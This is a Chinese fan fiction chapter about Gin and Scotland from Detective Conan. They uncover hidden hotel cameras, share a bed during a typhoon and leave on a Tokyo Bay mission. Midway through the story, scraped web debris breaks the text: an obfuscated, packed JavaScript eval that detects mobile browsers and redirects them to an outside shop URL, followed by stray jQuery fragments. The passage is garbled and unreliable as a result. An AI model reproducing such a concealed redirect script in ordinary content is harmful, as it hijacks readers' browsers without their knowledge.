5. debuff-2-魔法猫

作品:《Gin不需要救世主

    琴酒大为震撼。


    TV2001MAX+没有危言耸听。


    他自认为自己的时间观念强烈,五感敏锐,不可能被迷惑到连季节混乱都搞不清。但是无意间豁然开朗,这才意识到前不久还在下冰雨,今天就迎来了夏季的台风,气候变化之剧烈及诡异,让琴酒不得不接受事实。


    【^v^】


    眼前忽然蹦出个颜表情,让琴酒懵了一下。


    正在这时,前台回电话了:“先生您好,刚才我们查看了812门口的监控,并没有发现其他人进入二位的房间。”


    “这样啊,”苏格兰眸底暗暗思索,他随手拨掉桌面的螺丝,弯腰捡起,装出惊喜的语气,“啊,我找到了,戒指就在我口袋里,刚才不小心带出来才发现。真是不好意思,给你们添麻烦了。”


    “没关系,请先生保管好自己的贵重物品,如果有其他需要请打电话,祝二位生活愉快。”


    电话“滴”的一声挂断,琴酒回神,看了眼手表。


    从苏格兰打电话到前台回电话前后不超过三分钟。


    三分钟能查什么?


    琴酒嗤笑:“看样子是酒店自己的人。”


    苏格兰也收到了组织技术人员的回复:[苏格兰大人,这种型号的微型摄像现在已经停售,发售公司称曾有一家叫大鸟居家居服务公司的后勤经理以个人名义一次性买断了这个产品。现在同型号的摄像头有345个正在发信,信号源与您发来的位置重合。]


    后是采购单据和信号定位的附图。


    “也就是说,这家酒店还有345个房间里也有同样的摄像头。”


    又隔了一秒,技术人员又暗示性地发来两张图片:


    1.[大鸟居酒店房间分布图]


    共750间客房,其中双人间与大床房共400。


    2.[大型酒店侵犯客户隐私事件]


    几十条新闻截图零零散散拼凑成了一张触目惊心的新闻照片。


    苏格兰短促地皱了下眉,瞬间明白了这家酒店的意图。


    他简单地对琴酒说出自己的猜想,得到后者不屑的冷哼。


    “非法倒卖客人隐私?”琴酒似笑非笑,“胆子倒是挺大。”


    虽然自己干的是更为恶劣的要人命的事,但他很看不起这种下水道老鼠般偷偷摸摸的肮脏行径。


    窗外忽然炸响一道惊雷,随之蓝色的闪电照亮了半边天。


    两人暂时忘却了嘴边的话题,不约而同看向窗外。


    方才还在远处的乌云彻底覆盖了整片天空,琴酒这才后知后觉房间里也光线阴暗。


    黑云遮天蔽日,世界阴沉昏暗,河水翻涌,树木颠簸,街上行车拥堵,亮起猩红的尾灯,放眼望去,有种世界将要末日的焦灼感。


    眼前忽然一亮,原来是苏格兰打开了室内灯。


    窗户上出现了几丝细雨,紧接着声如雷霆雨势倏然浩大,楼下传来接二连三的惊喊。


    穿着黑色短袖的蓝眼睛青年走到窗边与他并肩而立,两人看着逐渐慌乱起来的城市,心中却一派宁静。


    这下谁也走不掉了。


    *


    安装摄像头的下水道老鼠终于意识到了新房客是不好惹的,琴酒和苏格兰刻意离开房间守株待兔了一段时间,也没有守到再进门安装的“勇士”。


    令人欣慰的结局,琴酒却觉得无趣,轻啧一声。


    “东京机场今明两天的航班全部取消了,森谷帝二续了两天房。”


    苏格兰从浴室里出来,他的左手拿着手机,翻看信息的同时右手在时不时地擦拭湿漉漉的发丝。


    琴酒闭着眼睛靠在床头,“意料之中。”


    天色阴霾,橙黄的顶灯在他脸上洒下一片光,冷白的皮肤如霞色的釉器,沾染上几分温暖色彩。然而在眼底透出小片阴影的长睫抬起时,就知道那只是幻觉而已。


    在对上那双冷不丁就锁定他的绿眸时,苏格兰尾椎还是会有一道电流窜过,有种警惕的不适感。


    强壮的、缓慢起伏的后背肌肉骤然绷紧,连带肩胛骨中间的十字架刺青也簇拥着发丝滴落的水珠肃穆地缄默。


    短暂停滞,苏格兰套上黑色的无袖衬衫,面色平静地说:“感觉不错,我们很幸运地拥有了两天假期。”


    琴酒不赞同也不否认,耀眼的银发流到清晰的锁骨上、饱满的胸脯上,些许调皮的发尾钻进青年敞开的浴袍襟口,探触暗中涌动的腹部,随着呼吸轻微起伏,灯光笼罩,整个人就像是被泡在了蜜罐里。


    苏格兰只看了两眼,便被蜜色的、苍白的颜色刺痛了眼睛般移开了视线。


    室内禁烟,琴酒百无聊赖地做了个打响火机的动作,“谁知道呢。”


    毕竟风起云涌时,恶魔狂舞日。


    琴酒看了眼像尊雕像一样沉默地坐在沙发上的黑发青年,友情提醒了一句,“我劝你还是好好休息一下,接下来可有得忙了。”


    说完,不顾苏格兰的诧异神色,自顾自地躺进被子里,不一会儿便呼吸平稳变得悠长。


    被留下的苏格兰有些纠结。


    琴酒他是很了解组织的,他说忙,那么接下来一定会很忙。


    可是跟琴酒同床共枕?


    苏格兰挣扎地看了眼逼仄狭小完全不足以让一个成年男性伸展休息的沙发,又看看很有东京特色的缩小版“大床”——说是大床,其实也就是其他国家大床的四分之三大小。


    万幸这家酒店的床是1.5×2的尺寸,不然他们躺下后脚都要尴尬地伸到床外。可即便如此,1.5的宽度对两个高挑强壮的成年男人而言还是有些牵强。


    苏格兰在“委屈一下”和“舒服自己”之间纠结了不到两秒,果断放下了心里的羞耻感,去浴室吹完头发之后,关掉顶灯,轻手轻脚地躺在了床的另一侧。


    成年人的体重让床垫明显下陷,察觉到动静的琴酒条件反射地睁开眼睛,看到是熟悉的人之后又瞬间放缓呼吸。


    苏格兰僵在半路的身体放松下来,可躺下后,属于另一个人的冰冷气息却存在感极强地影响他的感官,闭上眼睛,冷感的香意更浓——不是,琴酒喷香水了?苏格兰有些心烦意燥地睁眼,看着漫在床上、近在咫尺的银发,小心翼翼地往旁边挪了挪,让两人之间保持一段安全的距离。


    狂风呼啸,大雨飘摇,室内昏暗,在自然雨声的白噪音中,紧绷的神经也不由得舒展。


    阴雨天,最适合来一场甜蜜的酣睡。


    ......


    大约过了两个小时,又深沉漫长到仿佛是一个世纪。


    “叮咚!”/“叮咚!”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013218|194154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    几乎是重叠的两道手机铃声突兀地打破宁静。


    床上亲密地面对面侧躺着的发色一银一黑的两个青年瞬间睁眼,几乎是肌肉记忆一样,一苏醒,眸底就一片清醒神色。


    虽然因为近到呼吸交缠的距离而感到诧异。


    虽然因为能闻到发丝间清新冰冷的香意而恍惚。


    但这绝对不是亲近,而是因为不信任把后背交给对方而做出的自我防御性动作,面对面,好在对方有不轨之意时方便一刀捅上去。


    一只手掌不自觉地放在对方肩颈处,一只手掌则是放在最靠近武器的地方就是最好的证明。


    两人短暂对视一眼,同时起身拿起自己的手机。


    ——[风浪翻起时,或许会有不错的海鲜。东京湾有一艘装满渔货的船,去保护它,不要让它被浪吞没。]


    仍然是没有发信人,看不到电话号码,但任谁见了这些高深莫测(莫名其妙)的话都知道这是BOSS的直信。


    领导的话,都是要认真去做阅读理解的。


    在某些行业,“海鲜”、“渔货”是□□服务的代名词,但是在这里,代表的意思可能要更特殊一点——


    【今天晚上七点钟,公安部门保护重要生物学家回国,去东京湾接(劫)人。】


    琴酒虽然尊敬BOSS,但有时也不免为这语焉不详、贝尔摩德作风的信息发牢骚。


    他低声轻骂,苏格兰眸底一暗。


    让技术人员把森谷帝二门口的监控转接到手机上,确保万无一失后,两人带着穿好冲锋衣一头闯进暴雨中。


    狂风刮得车身摇摆,苏格兰用力到手上青筋崩出才避免方向失控四处打转。街上没什么人了,只有被风吹断的树杈凌乱地瘫在地上。


    “该死的仓板卓大概是发现了什么,说好的程序现在都没给我,害得我被死老头刁难。”贝尔摩德似乎遇到了问题,打来电话,气愤地跟琴酒咒骂朗姆。


    仓板卓,琴酒有些印象。这个人参与了组织的一项重要的电脑工程,所负责的部分前不久进入了收尾阶段,按理说现在已经完成了。


    “你那个工程师朋友?”


    “现在不是朋友了。”贝尔摩德冷冰冰地说,“他要是足够聪明的话,最好不要再出现在我面前,否则......”


    阴鸷的声音消失在自行车连续倒伏的碰撞声中,贝尔摩德这才注意到对面的嘈杂,她沉默了几秒,困惑道:“你疯了,这个天气出任务?”


    贝尔摩德刚问完就意识到自己问了个弱智的问题——这种天气恰恰是组织最肆无忌惮的舞台——她飞快略过这个话题,转而敏锐地问道:“谁在开车,苏格兰跟你一起吗?”


    掌舵的苏格兰灵敏地躲避过迎面而来的遮阳棚,瞥了眼手机。


    “伏特加还在国外,莱伊和波本都不在东京,其他人的话你似乎看不上,思来想去,只能是苏格兰了。”贝尔摩德自顾自地做了排除法,语气兴奋地说,“我记得苏格兰摄影技术不错,如果去海上的话,记得帮我拍几张照!如果可以的话,能拍几张GIN跟大海的合影是最好......”


    琴酒果断挂断电话,“不用理会。”


    他们是去抢人,可不是去当什么艺术家。


    琴包里是武器,不是乐器,更不是相机。